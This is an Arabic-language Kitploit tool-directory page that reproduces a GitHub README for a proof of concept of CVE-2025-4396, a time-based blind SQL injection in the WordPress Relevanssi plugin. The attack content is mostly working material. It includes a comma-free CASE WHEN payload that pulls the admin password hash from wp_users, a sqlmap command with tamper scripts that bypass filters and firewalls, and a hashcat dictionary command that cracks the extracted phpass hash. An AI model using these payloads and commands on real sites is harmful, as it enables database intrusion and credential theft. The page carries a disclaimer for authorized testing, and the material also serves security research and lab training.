Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-4396 — CVE-2025-4396 - WordPress Relevanssi Time-Based Blind SQL Injection | Kitploit
أدوات/GitHubGitHub/sup3rdav3/cve-2025-4396
كسر كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubsup3rdav3/cve-2025-4396

CVE-2025-4396

CVE-2025-4396 - WordPress Relevanssi Time-Based Blind SQL Injection

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-4396 — حقن SQL في Relevanssi (أعمى زمني)

إخلاء مسؤولية: هذا المستودع مخصص لأغراض اختبار الاختراق المصرح به، والبحث الأمني، والتعليم فقط. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني وغير أخلاقي.


نظرة عامة

إثبات مفهوم لاستغلال ثغرة حقن SQL أعمى زمني في إضافة WordPress Relevanssi 4.24.4. يعالج هذا التطبيق بشكل خاص البيئات المحصنة حيث:

  • يتم تصفية الفواصل — مما يكسر الصياغة القياسية SUBSTR(str, pos, len) وIF(cond, true, false)
  • يحدث سلوك SLEEP() الجشع — مما يجعل MySQL تنفذ SLEEP() قبل تقييم التعبير بالكامل، مما ينتج نتائج إيجابية خاطئة

الخلفية

في بعض البيئات (على سبيل المثال، معمل DVWP)، تفشل حمولات حقن SQL القياسية لسببين رئيسيين:

المشكلةالتأثير
إزالة الفواصليكسر SUBSTR(str, pos, len) وIF(cond, true, false)
SLEEP() الجشعMySQL تُقيِّم النوم قبل التعبير البولياني الكامل، مما ينتج نتائج إيجابية خاطئة

كلا المشكلتين تتطلبان حلولاً مستهدفة — مغطاة في الأساليب اليدوية والآلية أدناه.


الاستغلال اليدوي (asy.py)

نص بايثون غير متزامن يوفر استخراجًا جراحيًا حرفًا بحرف. يتجنب عبء الأدوات الآلية ويتجاوز تصفية الفواصل عبر منطق CASE WHEN.

الميزات

الميزةالتنفيذ
I/O غير متزامنaiohttp للطلبات غير المحظورة
حمولات بدون فواصلصياغة

منطق الحقن الأساسي

root@kitploit:~
# حمولة زمنية بدون فواصل وبتقنية CASE WHEN
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"

لماذا CASE WHEN بدلاً من IF()؟ IF() تستخدم فواصل وتخضع للتقييم الجشع. CASE WHEN يُقيَّم بتكاسل، مما يضمن عدم تشغيل SLEEP() إلا عندما يكون الشرط TRUE بالفعل.


الاستغلال الآلي (SQLMap)

يمكن لـ SQLMap أتمتة الاكتشاف في هذه البيئة باستخدام نصوص التلاعب (tamper scripts) والعلامات المناسبة.

الأمر

root@kitploit:~
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
  --tamper=commalessmid,if2case,between \
  --technique=T \
  --dbms=MySQL \
  --no-cast \
  --batch \
  --threads=1 \
  --dbs

مرجع العلامات

ملاحظة حول --threads=1: هذا ضروري للاستخراج الموثوق. تعدد الخيوط يُسبب تداخلًا في تأخيرات النوم، مما يُفسد توقيت البحث الثنائي وينتج مخرجات مشوشة.


نتائج المختبر

الحقلالقيمة
الهدفجدول WordPress wp_users

كسر التجزئة

root@kitploit:~
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
  • الوضع -m 400 يستهدف تجزئات phpass
  • الهجوم -a 0 هو هجوم قاموس مباشر باستخدام rockyou.txt

المراجع

  • إضافة Relevanssi — WordPress.org
  • نصوص SQLMap Tamper
  • OWASP: حقن SQL الأعمى
  • إطار تجزئة كلمات المرور phpass
تنزيل الأداة
SUBSTR(str FROM pos FOR len)
منطق غير جشعCASE WHEN يضمن أن SLEEP() لا تعمل إلا عند TRUE
العلامةالغرض
--tamper=commalessmid,if2caseيعيد كتابة الحمولات إلى SQL بدون فواصل؛ يستبدل IF() بـ CASE WHEN
--tamper=betweenيستبدل مقارنات > بـ BETWEEN لتجاوز إضافي لجدار الحماية
--technique=Tيقتصر على الحقن الأعمى الزمني فقط
--no-castيمنع أغلفة CAST() التي تُدخل فواصل محظورة
--threads=1يضمن دقة التوقيت — الطلبات المتزامنة تُسبب تداخلًا في تأخيرات النوم
المستخدمadmin (ID = 1)
التجزئة المستخرجةتم التعديل
الخوارزميةphpass (تجزئة كلمة مرور WordPress القياسية)